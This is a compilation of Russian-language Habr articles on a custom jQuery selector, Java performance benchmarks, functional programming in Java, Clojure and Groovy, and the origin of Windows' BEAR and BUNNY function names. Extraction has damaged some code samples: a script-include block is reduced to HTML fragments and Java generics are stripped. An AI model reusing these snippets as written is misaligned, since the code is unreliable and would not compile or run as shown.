Это статья — упражение в создании произвольного слектора, вы можете её использовать, как руководство по созданию своего собственного селектора.
Чего я хотел добиться?
======================
Вначале, мне нужно было получить каждый третий элемент в коллекции. (я собирался применить отдельный стиль для каждого третьего элемента). Я попытался написать простой скрипт для решения этой задачи, но затем подумал, почему нельзя сделать это в виде селктора.
Создание «кастомных» селекторов в jQuery не такое уж и сложное дело. Есть [прекрасная статья](http://www.bennadel.com/blog/1457-How-To-Build-A-Custom-jQuery-Selector.htm) на эту тему.
Итак, моя цель была в выборе элементов с определеным шагом, или в некоторых случаях мне также нужно было начинать выборку с n-ого элемента, а не с первого…
Вот окончательный код:
> `jQuery.expr[':'].step = function(node,index,meta){
>
> var $index = index;
>
> var $meta = meta[3].toString().split(',');
>
> var $step = parseInt($meta[0]);
>
> var $start = ($meta.length > 1) ? $meta[1] : 0;
>
> if ($start != 0) $start -= 1;
>
> return ( ( ($index-$start) / $step ) == Math.floor( ( ($index-$start) / $step ) ) && ( ($index-$start) >= 0 ) );
>
> };`
Разберем шаг за шагом
=====================
Чтобы начать использовать этот силектор мы должны, конечно же, подключить jQuery и файл jquery.step.js, который можно найти и [скачать тут](http://cssglobe.com/lab/step_selector/jquery.step.js.zip).
> `"text/javascript"</font> src=<font color="#A31515">"jquery.js"</font>>
>
> "text/javascript"</font> src=<font color="#A31515">"jquery.step.js"</font>>`
Step-селектор использует обычный для jQuery способ для выборки элементов. Вот пример для выборки каждого третьего элемента.
> `$('ul#one li:step(3)').css('clear','left');`
Как упоминалось этот селектор можно применять для выборки с определенного элемента. Допустим, если вы хотите выбрать каждый 3-ий элемент начиная с 5-го это будет выглядеть как то так:
> `$('ul#two li:step(3,5)').addClass('alt');`
Первый параметр 3 показываает шаг, а второй параметр 5 показывает точку начала выборки. Параметры разделяются запятой.
Практическое применение
=======================
Если у вас есть галерея с превьюшками с float=left и вы хотите сбросить обтекание у каждой 4-ой превьюшке. Или вы применяете специальный класс для кажого 10-го элемента списка для визуальной группировки. Или вы можете вставить рекламу каждые 5 новостей, но только не перед первой… и т.д.
Важные замечания
================
Есть некоторые проблемы, которые я не смог решить. У меня не получилось заставить работать правильно селектор, когда в нем содержатся классы. Вот примерно с таким селектором у меня возникли проблемы:
> `$('ul.one li:step(3)').css('clear','left');`
Если у вас есть решение — поделитесь и мы все будем вам благодарны.
**От переводчика:** примеры проверены — вроде бы все работает как надо — какие проблемы у автора не до конца понятно.
Из комментариев к оригиналу:
----------------------------
Уже есть простой селектор в самом jQuery:
[api.jquery.com/nth-child-selector](http://api.jquery.com/nth-child-selector/)
Если вам нужен отступ, просто вставьте в равенство +отступ.
**Ответ:** Эта статья просто пример по созданию произвольного селектора и ничего больше. Спасибо. | https://habr.com/ru/post/107932/ | null | ru | null |
# Советы по оптимизации кода на Java: как не наступать на грабли
Добрый вечер, коллеги.
Перевод статьи, который мы вам предложим сегодня, призван помочь ответить на вопрос: а назрела ли необходимость целой книги по оптимизации кода на Java? Надеемся, что материал не только покажется вам интересным, но и пригодится на практике. Пожалуйста, не забудьте проголосовать.
В этой статье я изложу несколько советов по оптимизации кода на Java. Я специально рассмотрю конкретные операции в реальных программах на Java. Эти советы, в сущности, применимы в конкретных сценариях, требующих высокой производительности, поэтому совершенно нет нужды писать весь код именно в такой манере, поскольку обычно выигрыш в скорости будет мизерным. Однако, на самых жарких участках разница может получиться существенной.
### Пользуйтесь профилировщиком!
Прежде, чем приступать к какой-либо оптимизации, разработчик должен убедиться, что верно оценивает производительность. Может быть, тот фрагмент кода, который кажется нам тормознутым, на самом деле просто маскирует истинный источник пробуксовки, поэтому сколько бы мы не оптимизировали «явный» источник промедления, эффект будет почти нулевым. Кроме того, нужно выбрать контрольную точку, по которой можно было бы сравнивать, дает ли ваша оптимизация какой-либо эффект, и если да – то какой.
Для достижения обеих этих целей удобнее всего пользоваться профилировщиком. В нем предусмотрены инструменты, позволяющие определить, какая именно часть вашего кода выполняется медленно, сколько времени уходит на выполнение этого кода. Могу порекомендовать два профилировщика — [VisualVM](https://visualvm.github.io) (бесплатный) и [JProfiler](https://www.ej-technologies.com/products/jprofiler/overview.html) (платный – но абсолютно стоит своих денег).
Вооружившись такой информацией, можете не сомневаться, что оптимизируете именно тот код, который требуется – и что эффект от вносимых вами изменений можно будет измерить
Вернемся на шаг назад и обдумаем, как подступиться к проблеме.
Прежде чем попытаться перейти к точечной оптимизации конкретного пути исполнения кода, нужно подумать, по какому пути код выполняется сейчас. Иногда избранный подход бывает фундаментально ущербным – например, вы ценой неимоверных усилий и всех мыслимых оптимизаций сможете ускорить этот код на 25%, однако, если изменить подход (подобрать иной алгоритм), выполнение кода может ускориться на порядок и даже более. Зачастую такое случается, когда резко меняются масштабы данных, которые требуется обрабатывать. Бывает несложно написать решение, которое сработает в данном конкретном случае, но для работы с реальными данными оно может оказаться непригодным.
Иногда выход бывает тривиальным – просто изменить структуру, в которой вы храните ваши данные. Вот вам воображаемый пример: если программа обычно обращается к вашим данным в произвольном порядке, а вы храните их в `LinkedList`, то бывает достаточно переключиться на `ArrayList` – и код станет выполняться гораздо быстрее. При работе с большими множествами данных и решении задач, где критична производительность, чрезвычайно важно правильно подобрать структуру данных, которая отвечает форме ваших данных и тем операциям, которые над ними осуществляются.
Всегда целесообразно оглянуться назад и обдумать: эффективен ли сам по себе тот код, который вы пытаетесь оптимизировать, либо он притормаживает лишь потому, что коряво написан, либо потому, что для него подобран не лучший путь исполнения.
### Сравнение потоковых API и старого доброго цикла for
Потоки – замечательное нововведение в языке Java, при позволяющее без труда переделать барахлящие фрагменты кода, отказавшись от циклов for в пользу более универсальных многоразовых блоков кода, гарантирующих уверенное выполнение. Однако, за такие удобства приходится платить: при использовании потоков снижается производительность. К счастью, эта цена, по-видимому, не слишком высока. В случае с самыми ходовыми операциями можно получить как ускорение на несколько процентов, так и замедление на 10-30%, однако, этот момент следует иметь в виду.
В 99% случаев снижение производительности при использовании потоков более чем компенсируется благодаря тому, что код становится гораздо яснее. Но в том 1% случаев, когда поток у вас, возможно, будет использоваться в очень активном цикле, стоит задуматься о некоем компромиссе в пользу производительности. Это особенно касается приложений с высокой пропускной способностью, заставляет задуматься о том, что работа с потоковыми API сопряжена с активным выделением памяти (в этой [теме](https://stackoverflow.com/questions/41230802/java-8-stream-objects-significant-memory-usage/41320054#41320054) на StackOverflow читаем, что каждый новый фильтр отъедает еще 88 байт памяти), поэтому давление на память может возрасти. В таком случае приходится чаще запускать сборщик мусора, что очень негативно сказывается на производительности.
С параллельными потоками – другая история. Несмотря на то, как легко с ними работать, их следует использовать лишь в редких случаях и только после того, как по результатам профилировки параллельных и последовательных операций вы убедились, что параллельная выполняется быстрее. При работе с небольшими множествами данных (размер множества данных определяется в зависимости от того, насколько затратны потоковые операции при работе над ним) издержки на распределение задач, планировку их между другими потоками, а затем сшивание результатов после того, как обработка потока закончится, несравнимо перекроет выигрыш в скорости, достигнутый благодаря распараллеливанию вычислений.
Также нужно обращать внимание, в какой именно среде выполняется ваш код. Если речь идет о сильно распараллеленном окружении (например, о сайте), то вряд ли вы ускорите его работу, добавив туда еще один поток. На самом деле, при высоких нагрузках такая ситуация может быть еще порочнее, чем непараллельное исполнение. Дело в том, что, если рабочая нагрузка по природе своей параллельна, то программа наверняка и так максимально эффективно использует оставшиеся ядра процессора – то есть, вы тратите ресурсы на разделение задач, а вычислительной мощности у вас при этом не прибавляется.
Я сделал ряд контрольных замеров. `testList` – это массив из 100 000 элементов, состоящий из чисел от 1 до 100 000, преобразованных в строки и затем перемешанных.
```
// ~1 500 оп/с
public void testStream(ArrayState state) {
List collect = state.testList
.stream()
.filter(s -> s.length() > 5)
.map(s -> "Value: " + s)
.sorted(String::compareTo)
.collect(Collectors.toList());
}
// ~1 500 оп/с
public void testFor(ArrayState state) {
ArrayList results = new ArrayList<>();
for (int i = 0;i < state.testList.size();i++) {
String s = state.testList.get(i);
if (s.length() > 5) {
results.add("Value: " + s);
}
}
results.sort(String::compareTo);
}
// ~8 000 оп/с
// Обратите внимание: при размере массива от 10 000 элементов и переменной нагрузке на процессор этот код выполнялся втрое медленнее testStream
public void testStreamParrallel(ArrayState state) {
List collect = state.testList
.stream()
.parallel()
.filter(s -> s.length() > 5)
.map(s -> "Value: " + s)
.sorted(String::compareTo)
.collect(Collectors.toList());
}
```
Итак: потоки очень помогают при поддержке кода и повышают его удобочитаемость, и при этом в большинстве случаев пренебрежимо влияют на производительность. Однако, необходимо учитывать возможные издержки в тех редких случаях, когда действительно требуется выжать из нагруженного цикла всю производительность до капли.
### Передача даты и операции с ней
Нельзя недооценивать издержек, возникающих, например, при парсинге строки с датой в объект даты и при форматировании объекта даты в строку с датой. Представьте себе ситуацию, когда у вас есть список из миллиона объектов (это либо обычные строки, либо некие объекты, представляющие элемент в виде поля данных, подкрепленного строкой) – и весь список нужно откорректировать по заданной дате. В случае, если эта дата представлена в виде строки, потребуется сначала разобрать эту строку, чтобы преобразовать ее в объект Date, обновить объект `Date`, а затем вновь отформатировать его в виде строки. Если дата уже представлена в виде временной метки Unix (или в виде объекта `Date`, фактически, представляющего собой просто обертку вокруг временной метки Unix) – то вам останется сделать простую арифметическую операцию, сложение или вычитание.
Мои тесты показывают, что программа выполняется до 500 раз быстрее, если просто оперировать объектом даты, нежели если парсить его, преобразовывать в строку и обратно. Даже если просто исключить этап парсинга, все равно достигается стократное ускорение. Этот пример может показаться надуманным, но, уверен, вам известны случаи, когда значения даты хранились в базе данных в виде строк, а также возвращались в виде строк в откликах API
```
// ~800 000 оп/c
public void dateParsingWithFormat(DateState state) throws ParseException {
Date date = state.formatter.parse("20-09-2017 00:00:00");
date = new Date(date.getTime() + 24 * state.oneHour);
state.formatter.format(date);
}
// ~3 200 000 оп/с
public void dateLongWithFormat(DateState state) {
long newTime = state.time + 24 * state.oneHour;
state.formatter.format(new Date(newTime));
}
// ~400 000 000 оп/с
public long dateLong(DateState state) {
long newTime = state.time + 24 * state.oneHour;
return newTime;
}
```
Итак, всегда учитывайте издержки, связанные с парсингом и форматированием объектов даты, и, если нет необходимости держать их в виде строк, гораздо разумнее представлять дату в виде временной метки Unix.
### Операции над строками
Манипуляция над строками – это, пожалуй, одна из самых распространенных операций в любой программе. Однако, если выполнять ее неправильно, она может получиться затратной. Именно поэтому я уделяю такое внимание работе со строками в этой статье, посвященной оптимизации Java. Ниже мы рассмотрим один из самых частых подводных камней. Однако, хочу дополнительно подчеркнуть, что такие проблемы проявляются лишь при выполнении самых скоростных фрагментов кода, либо когда приходится иметь дело с существенным количеством строк. В 99% случаев ничего из показанного ниже не случится. Однако, если такая проблема возникнет, она может убийственно сказаться на производительности.
### Использование `String.format`, когда могла бы сработать простая конкатенация
Простейший вызов `String.forma`t происходит примерно в 100 раз медленнее, чем при конкатенации значений в строку вручную. Как правило, это приемлемо, поскольку на моей машине мы здесь все равно имеем дело с миллионами операций в секунду. Однако, в случае загруженного цикла, оперирующего миллионами элементов, спад производительности может быть ощутимым.
Однако, есть один случай, когда `_следует _использовать` именно строковое форматирование, а не конкатенацию даже в среде с высокими требованиями к производительности – я говорю о журналировании отладочной информации. Рассмотрим два вызова, происходящих в таком контексте:
```
logger.debug("the value is: " + x);
logger.debug("the value is: %d", x);
```
Второй случай (что на первый взгляд может показаться нелогичным) в продакшене, бывает, работает быстрее. Поскольку маловероятно, что на ваших продакшен-серверах будет включено журналирование отладочной информации, в первом случае программа выделяет новую строку, которая затем так и не используется (поскольку лог так и не выводится). Во втором случае требуется загрузить постоянную строку, после чего этап форматирования пропускается.
```
// ~1 300 000 оп/с
public String stringFormat() {
String foo = "foo";
String formattedString = String.format("%s = %d", foo, 2);
return formattedString;
}
// ~115 000 000 оп/с
public String stringConcat() {
String foo = "foo";
String concattedString = foo + " = " + 2;
return concattedString;
}
```
### Неиспользование построителя строк внутри цикла
Если вы не пользуетесь построителем строк внутри цикла, то производительность кода сильно падает. В упрощенной реализации мы наращивали бы строку внутри цикла при помощи оператора `+=`, прикрепляя таким образом новую часть строки к уже имеющейся. Проблема с данным подходом заключается в том, что при каждой итерации цикла будет выделяться новая строка, а старую строку на каждой итерации придется копировать в новую. Даже сама по себе эта операция затратна, не говоря уже о лишней нагрузке, связанной с дополнительной сборкой мусора, необходимой при создании и отбрасывании такого количества строк. Воспользовавшись `StringBuilder`, мы ограничим количество операций выделения памяти, что позволит нам сильно повысить производительность. В моих тестах таким образом удавалось ускорить программу более чем в 500 раз. Если при создании построителя строк вы можете, как минимум, достаточно уверенно предположить, какого размера будет результирующая строка, то можно ускорить код еще на 10%, заранее задав корректный размер (в таком случае не придется пересчитывать размер внутреннего буфера и избавиться от операций выделения и копирования).
Также отмечу, что (почти) всегда использую `StringBuilder`, а не `StringBuffer`. `StringBuffer` предназначен для работы в многопоточных средах и именно поэтому оснащен внутренней синхронизацией. Издержки за такую синхронизацию приходится нести даже в однопоточной среде. Если вам требуется наращивать строку данными, поступающими из многих потоков (допустим, в реализации с журналированием) – вот вам одна из немногих ситуаций, когда следует пользоваться именно `StringBuffer`, а не `StringBuilder`.
```
// ~11 операций в секунду
public String stringAppendLoop() {
String s = "";
for (int i = 0;i < 10_000;i++) {
if (s.length() > 0) s += ", ";
s += "bar";
}
return s;
}
// ~7 000 операций в секунду
public String stringAppendBuilderLoop() {
StringBuilder sb = new StringBuilder();
for (int i = 0;i < 10_000;i++) {
if (sb.length() > 0) sb.append(", ");
sb.append("bar");
}
return sb.toString();
}
```
### Использование построителя строк *вне* цикла
Мне попадались в Интернете рекомендации использовать построитель строк вне цикла – и это даже кажется целесообразным. Однако, мои опыты показали, что на самом деле код при этом выполняется втрое медленнее, чем при `+=` — даже если `StringBuilder` находится вне цикла. Хотя `+=` в данном контексте и превращается в вызовы `StringBuilder`, выполняемые `javac`, код получается гораздо быстрее, чем при непосредственном использовании `StringBuilder`, что меня удивило.
Если у кого-нибудь есть версии, почему так происходит – поделитесь пожалуйста в комментариях.
```
// ~20 000 000 операций в секунду
public String stringAppend() {
String s = "foo";
s += ", bar";
s += ", baz";
s += ", qux";
s += ", bar";
s += ", bar";
s += ", bar";
s += ", bar";
s += ", bar";
s += ", bar";
s += ", baz";
s += ", qux";
s += ", baz";
s += ", qux";
s += ", baz";
s += ", qux";
s += ", baz";
s += ", qux";
s += ", baz";
s += ", qux";
s += ", baz";
s += ", qux";
return s;
}
// ~7 000 000 операций в секунду
public String stringAppendBuilder() {
StringBuilder sb = new StringBuilder();
sb.append("foo");
sb.append(", bar");
sb.append(", bar");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
sb.append(", baz");
sb.append(", qux");
return sb.toString();
}
```
Итак, создание строк связано с явственными издержками, поэтому в циклах следует по возможности избегать такой практики. Добиться этого легко – просто используйте `StringBuilder` внутри цикла.
Надеюсь, вам пригодятся изложенные здесь советы по оптимизации кода на Java. Еще раз подчеркну, что в большинстве контекстов описанные здесь приемы вам не пригодятся. Нет разницы, сколько раз в секунду вы успеете отформатировать строку – миллион раз или 80 миллионов раз, если вам требуется проделать всего несколько таких операций.
Но в тех критических случаях, когда речь действительно может идти о миллионах таких операций, восьмидесятикратное ускорение кода может сэкономить вам массу времени.
Написав эту статью, я собрал zip-архив со всеми упомянутыми здесь данными, и ниже привожу вывод после проверки всех контрольных точек. Все результаты получены на ПК с i5-6500. Код запускался с JDK 1.8.0\_144, VM 25.144-b01 на Windows 10

Весь код можно скачать [здесь на GitHub](https://github.com/UberMouse/java-performance-benchmarks). | https://habr.com/ru/post/358898/ | null | ru | null |
# Functional thinking: Thinking functionally, Часть 2

В [первой части](http://habrahabr.ru/blogs/programming/128063/) серии я начал обсуждение некоторых особенностей функционального программирования, показывая проявления этих идей в Java и других, более функциональных языках. В этой статье я продолжу свой обзор, обращая внимание на функции — объекты первого класса, оптимизации и замыкания. Но основная тема этой статьи — контроль: когда вы его хотите, когда он вам необходим и когда надо просто забить.
#### First-class functions and control
Используя библиотеку Functional Java, в прошлый раз я продемонстрировал реализацию классификатора чисел с написанными в функциональном стиле методами isFactor() и factorsOf(), как показано в Листинге 1:
**Listing 1. Functional version of the number classifier**
```
import fj.F;
import fj.data.List;
import static fj.data.List.range;
import static fj.function.Integers.add;
import static java.lang.Math.round;
import static java.lang.Math.sqrt;
public class FNumberClassifier {
public boolean isFactor(int number, int potential_factor) {
return number % potential_factor == 0;
}
public List factorsOf(final int number) {
return range(1, number+1).filter(new F() {
public Boolean f(final Integer i) {
return number % i == 0;
}
});
}
public int sum(List factors) {
return factors.foldLeft(fj.function.Integers.add, 0);
}
public boolean isPerfect(int number) {
return sum(factorsOf(number)) - number == number;
}
public boolean isAbundant(int number) {
return sum(factorsOf(number)) - number > number;
}
public boolean isDeficiend(int number) {
return sum(factorsOf(number)) - number < number;
}
}
```
В методах `isFactor()` и `factorOf()` я делегировал алгоритм обхода фреймворку, который сам решает как лучше обойти диапазон чисел. Если фреймворк (или непосредственно язык, если вы используете к примеру функциональные языки Clojure и Scala) способен оптимизировать лежащую в основе реализацию, то Вы автоматически выигрываете от этого. И хотя на первых порах Вам не захочется перекладывать эту функциональность на чужие плечи, все же заметьте, что это следует основной тенденции в языках программирования и средах. С течением времени, разработчик все больше абстрагируется от деталей, которые платформа может обрабатывать более эффективно. Я никогда не забочусь об управлении памятью в JVM, потому что платформа позволяет мне забыть про это. Конечно, временами, это делает некоторые вещи более сложными, но это хороший компромисс для преимуществ, которые Вы получаете в повседневном написании кода. Конструкции функционального языка такие как: функции высшего порядка и функции — объекты, позволяют мне подняться еще на одну ступень выше в лестнице абстракции и сфокусироваться на том что должен делать код, а не как он должен это делать.
Даже с фреймворком Functional Java, программирование в таком стиле на Java выглядит неуклюже, потому что в языке на самом деле нет необходимого синтаксиса и конструкций. Как же реализуется функциональный подход в языках, предназначенных для него?
##### Classifier in Clojure
Clojure — это функциональный Lisp, спроектированный для JVM. Посмотрите на классификатор чисел, написанный на Clojure — Листинг 2
**Listing 2. Clojure implementation of the number classifier**
```
(ns nealford.perfectnumbers)
(use '[clojure.contrib.import-static :only (import-static)])
(import-static java.lang.Math sqrt)
(defn is-factor? [factor number]
(= 0 (rem number factor)))
(defn factors [number]
(set (for [n (range 1 (inc number)) :when (is-factor? n number)] n)))
(defn sum-factors [number]
(reduce + (factors number)))
(defn perfect? [number]
(= number (- (sum-factors number) number)))
(defn abundant? [number]
(< number (- (sum-factors number) number)))
(defn deficient? [number]
(> number (- (sum-factors number) number)))
```
Большая часть когда из Листинга 2 достаточно проста для восприятия, даже если Вы не суровый Lisp-разработчик и особенно если можете научиться читать наизнанку. Например, метод `is-factor?` принимает два параметра и проверяет на равенство нулю остатка от деления после умножения number на factor. Подобно этому методы `perfect?`, `abundunt?` и `deficient?` также должны оказаться простыми для понимания, особенно если Вы глянете на Листинг 1 с реализацией на Java.
Метод `sum-factor` использует встроенный метод `reduce`. `sum-factor` сокращает список по одному элементу, используя функцию (в данном случае +), принимаемую первым параметром над каждым элементом. Метод reduce представляется в различных видах в отдельных языках программирования и фреймворках. В Листинге 1 Вы видели ее как `foldLeft()`. Метод factors возвращает список чисел, поэтому я обрабатываю поэлементно, составляя из чисел сумму, возвращаемую методом reduce. Вы можете увидеть, что однажды привыкнув к мышлению в терминах функций высшего порядка и функций — объектов первого класса, сможете избавиться от большого количества шума в своем коде.
Метод `factors()` может Вам показаться набором случайных символов. Но сразу же может быть понят если Вы однажды видели преобразования списков (*list comprehensions*), являющихся одной из нескольких мощных особенностей Clojure. Как и ранее, легче всего понять метод factors подходом изнутри. Пусть Вас не смущает повергающая в ступор языковая терминология. Ключевое слово for в Clojure не подразумевает цикл — for. Скорее думайте об этом, как о предке всех фильтрующих и трансформирующих конструкций. В данном случае, я вызываю его, чтобы отфильтровать диапазон чисел от 1 до (number+1), используя предикат `is-factor?`, возвращающий числа, удовлетворяющие условию. На выходе этой операции получается список чисел, удовлетворяющих моему критерию, который я трансформирую во множество (set) чтобы удалить повторения.
Вы получаете много реально классных вещей от функциональных языков с пониманием их специфики и особенностей, несмотря на начальные трудности в изучении.
##### Optimization
Одним из преимуществ перехода к функциональному стилю является возможность использования функций высшего порядка, предоставляемых языком или фреймворком. Но что делать в случае если Вы не хотите отдавать этот контроль? В моем более раннем примере, я сравнивал внутреннее поведение итерационного механизма с работой менеджера памяти: большую часть времени Вам проще не беспокоиться об этих деталях. Но порой вы заботитесь об этом, как в случае с оптимизацией и ему подобных.
В двух Java-версиях классификатора чисел, которые я показал в первой части, я оптимизировал код, определяющий делители. Начальная простая реализация использовала оператор модуля (%), который дико неэффективен, чтобы проверить все числа начиная с 2 до заданного числа, чтобы проверить является ли оно делителем. Вы можете оптимизировать этот алгоритм, заметив, что делители всегда встречаются парами. Например, если Вы ищете делители 28, то когда Вы нашли 2, то можете также брать и 14. Если собирать делители парами, что надо проверить только числа вплоть до квадратного корня из заданного числа.
Оптимизация, которую было легко сделать в Java версии кажется невозможной в Functional Java из за того, что я непосредственно не контролирую итерацию. Однако путь к функциональному мышлению требует от нас отказаться от этого типа контроля, позволяя овладеть другим.
Я могу переформулировать исходную проблему в функциональном стиле: отфильтровать все делители от 1 до заданного числа, оставляя только те, которые удовлетворяют предикату isFactor. Это сделано в листинге 3:
**Listing 3. The isFactor() method**
```
public List factorsOf(final int number) {
return range(1, number+1).filter(new F() {
public Boolean f(final Integer i) {
return number % i == 0;
}
});
}
```
Несмотря на свою элегантность, код в Листинге 3 не очень эффективен так как проверяет каждое число. Однако поняв оптимизацию (собирать делители парами от 1 до квадратного корня) я могу переформулировать проблему:
1. Отфильтровать все числа от 1 до квадратного корня заданного числа.
2. Делить заданное число на каждый из этих делителей для получения парного делителя и добавлять его в список делителей.
С этим алгоритмом я могу написать оптимизированную версию метода factorsOf() используя библиотеку Functional Java, как показано в листинге 4:
**Listing 4. Optimized factors-finding method**
```
public List factorsOfOptimzied(final int number) {
List factors =
range(1, (int) round(sqrt(number)+1))
.filter(new F() {
public Boolean f(final Integer i) {
return number % i == 0;
}});
return factors.append(factors.map(new F() {
public Integer f(final Integer i) {
return number / i;
}}))
.nub();
}
```
Код в листинге 4 основан на алгоритме, описанном ранее, с несколько испорченным синтаксисом, требуемым библиотекой Functional Java. Сначала я беру диапазон чисел начиная с 1 до квадратного корня из заданного числа плюс 1 (чтобы быть уверенным, что я получу все делители). Затем, также как и в предыдущей версии, я фильтрую результат с помощью оператора модуля, завёрнутого в блок кода. Я сохраняю этот отфильтрованный результат в переменной `factors`. Далее (если читать изнутри) я беру этот список делителей и выполняю функцию `map()`, которая создаёт новый список, выполняя мой блок кода для каждого элемента (отображая каждый элемент в новое значение). Мой список делителей содержит все делители заданного числа меньше квадратного корня; теперь я должен разделить заданное число на каждый из них чтобы получить список симметричных делителей и соединить его с исходным списком. На последнем шаге я должен учесть, что я храню делители в списке, а не во множестве. Методы списка удобны для манипуляций, которые выполнялись ранее, но мой алгоритм имеет побочный эффект: один элемент повторяется дважды если среди делителей появляется квадратный корень. Например, если число 16, квадратный корень из него 4 появится в списке делителей дважды. Чтобы и дальше пользоваться удобными методами списка, я должен вызвать метод `nub()` в конце для удаления всех повторений.
То, что Вы отказываетесь от знания деталей реализации, когда используете высокоуровневые абстракции вроде функционального программирования не значит, что Вы не можете вернуться назад к мелочам, когда это необходимо. Java в основном защишает вас от низкоуровневых проблем, но если решаете, что Вам это необходимо, то можете опуститься на необходимый уровень. Также и в функциональном программировании — обычно детали с легкостью оставляются на совести абстракций, кроме моментов когда они оказываются действительно важны.
Во всём коде, что я привёл выше визуально доминирует синтаксис блоков, который использует обощения и анонимные вложенные классы как псевдо блоки кода. Замыкания — это одна из самых общих черт функциональных языков. Что же делает их настолько полезными в функциональном мире?
#### What's so special about closures?
Замыкание (*closure*) — это функция, cохраняющая неявные ссылки на переменные, на которые ссылается. Иными словами, функция (или метод), захватывающая и сохраняющая окружающий её контекст \*. Замыкания используются довольно часто в качестве портативного механизма исполнения в функциональных языках и фреймворках, передающегося в функции высшего порядка, например в map() для трансформации. Functional Java использует анонимные внутренние классы для имитации некоторого поведения “настоящих” замыканий, но они не в состоянии предоставить всю полноту функциональности последних, потому как в Java нет поддержки замыканий. Что это означает?
Листинг 5 показывает пример того, что делает замыкания особенными. Он написан на Groovy — языке, поддерживающем замыкания непосредственно.
**Listing 5. Groovy code illustrating closures**
```
def makeCounter() {
def very_local_variable = 0
return { return very_local_variable += 1 }
}
c1 = makeCounter()
c1()
c1()
c1()
c2 = makeCounter()
println "C1 = ${c1()}, C2 = ${c2()}"
// output: C1 = 4, C2 = 1
```
Метод `makeCouner()` определяет локальную переменную с соответствующим именем, а затем возвращает блок кода, который использует эту переменную. Заметьте, что метод `makeCounter()` возвращает блок кода, а не значение. Это код ничего не делает, кроме как увеличивает на 1 значение локальной переменной и возвращает ее. Я явно указал вызов return в этом коде, который на самом деле необязателен в Groovy, но код без него может показаться менее понятным.
Чтобы показать в действии метод `makeCounter()`, я присвоил ссылку на блок переменной `c1`, затем вызвал ее 3 раза. Я использую синтаксический сахар Groovy для выполнения блока кода, состоящий в размещении скобок вслед за переменной. Затем я вызываю `makeCounter()` снова, присваивая новый экземпляр блока кода переменной `C2`. В заключение, я выполняю `C1` снова вместе с `C2`. Заметьте, что каждый блок кода ссылается на отдельный экземпляр переменной `very_local_variable`. Это именно то, что я имел в виду, говоря о захвате контекста. Несмотря на кажущуюся локальность определения переменной внутри метода, замыкание все равно связано с ней и хранит состояние."
Наибольшее приближение к такому поведению, реализованное на Java представлено в Листинге 6:
**Listing 6. MakeCounter in Java**
```
public class Counter {
private int varField;
public Counter(int var) {
varField = var;
}
public static Counter makeCounter() {
return new Counter(0);
}
public int execute() {
return ++varField;
}
}
```
Возможно несколько вариантов для класса Counter, но Вам все равно придется столкнуться с самостоятельным управлением состоянием. Это показывает почему использование замыканий способствует функциональному мышлению: оно позволяет среде управлять состоянием. Вместо того чтобы принуждать вас управлять созданием полей и следить за состоянием (включая ужасающую перспективу использования такого кода в многопоточной среде), оно позволяет языку или фреймворку делать эту работу за Вас.
В конечном итоге у нас все же будут замыкания в следующих релизах Java (обсуждение которых, к счастью выходит за рамки этой статьи). Появление замыканий в Java принесет пару ожидаемых результатов. Во-первых, это значительно упростит жизнь авторам библиотек и фреймворков в работе над улучшением их синтаксиса. Во-вторых, это предоставит низкоуровневый “общий знаменатель” для поддержки замыканий во всех языках, работающих в JVM. Несмотря на то, что многие JVM-языки поддерживают замыкания, им приходится реализовывать свои собственные версии, что делает передачу замыканий между языками довольной затруднительной. Если Java сам определит единый формат — все другие языки смогут эффективно использовать его.
#### Заключение
Уступать контроль за низкоуровневыми деталями в пользу языка или фреймворка — общая тенденция в разработке программного обеспечения. Мы с радостью сбрасываем с себя ответственность за сбор мусора, управление памятью и различиями в аппаратном обеспечении. Функциональное программирование представляет новый уровень абстракции: уступки деталей реализации рутинного функционала для итерации, параллелизма и управления состоянием среде в той мере, в которой возможно. Это не означает, что Вы не сможете вернуть себе контроль если понадобится — но Вы должны этого захотеть, а не быть вынуждены.
В следующем выпуске я продолжу свое путешествие по функциональным конструкциям в Java и его близких родственниках с описанием карринга(*currying*) и частичного применения метода(*partial method application*).
##### Примечания
\* — Здесь автор видимо излишне старательно уходит от академической терминологии. Речь идёт о свободных переменных в лямбда-выражении. Хорошую интуицию о поведении замыканий в разных реализациях можно получить из [статьи](http://fprog.ru/2009/issue3/eugene-kirpichov-elements-of-functional-languages/#closure) в ПФП. Достаточно понятное формальное определение свободных и связанных переменных приведено в [статье](http://ru.wikipedia.org/wiki/%D0%9B%D1%8F%D0%BC%D0%B1%D0%B4%D0%B0-%D0%B8%D1%81%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5) википедии.
P.S. Спасибо [CheatEx](https://habrahabr.ru/users/cheatex/) за оказанную помощь при переводе | https://habr.com/ru/post/130830/ | null | ru | null |
# Откуда в Windows взялись функции BEAR, BUNNY и PIGLET?
Если покопаться в системных файлах Windows 95, там можно было обнаружить недокументированные функции с именами наподобие `BEAR35`, `BUNNY73` и `PIGLET12`. Откуда взялись эти дурацкие имена?
У них занятная история.
«Мишка» (*Bear*) был талисманом Windows 3.1. Это был плюшевый мишка, которого всюду таскал за собой Дэйв — один из самых главных программистов, занятых в проекте. Когда он приходил к кому-нибудь в офис, он запускал, бывало, мишку в монитор, чтобы на него отвлеклись.
Иногда ради развлечения программисты похищали Мишку и отправляли его «в отпуск» — так же, как люди отправляют «в отпуск» фигурки гномов с лужаек, и присылают потом открытки «из отпуска».
Кроме имён системных функций, Мишка засветился ещё в двух местах в Windows 3.1. В диалоге выбора шрифта для DOS-окна, если выбрать маленький шрифт, можно было увидеть в списке файлов несуществующий файл [`BEAR.EXE`](https://eeggs.com/images/items/2683.full.jpg). В более зрелищном виде Мишка появляется в ролике, где он «представляет» разработчиков Windows 3.1 — чередуясь с Биллом Гейтсом, Стивом Баллмером и Брэдом Силвербергом.
[](http://en.wikipedia.org/wiki/File:Microsoft_Bear_3.1_easter_egg.png)
Мишка перенёс немало издевательств. Однажды через его голову продели шнур питания, от уха до уха. В другой раз ему в зад запихали петарду. Ко времени Windows 95 состояние Мишки стало уже плачевным, так что его отставили с должности, и заменили розовым кроликом, получившим кличку Кролик (*Bunny*). Но Мишка-ветеран не отправился на помойку: дети одного из менеджеров сжалились над ним, и неплохо подлатали.
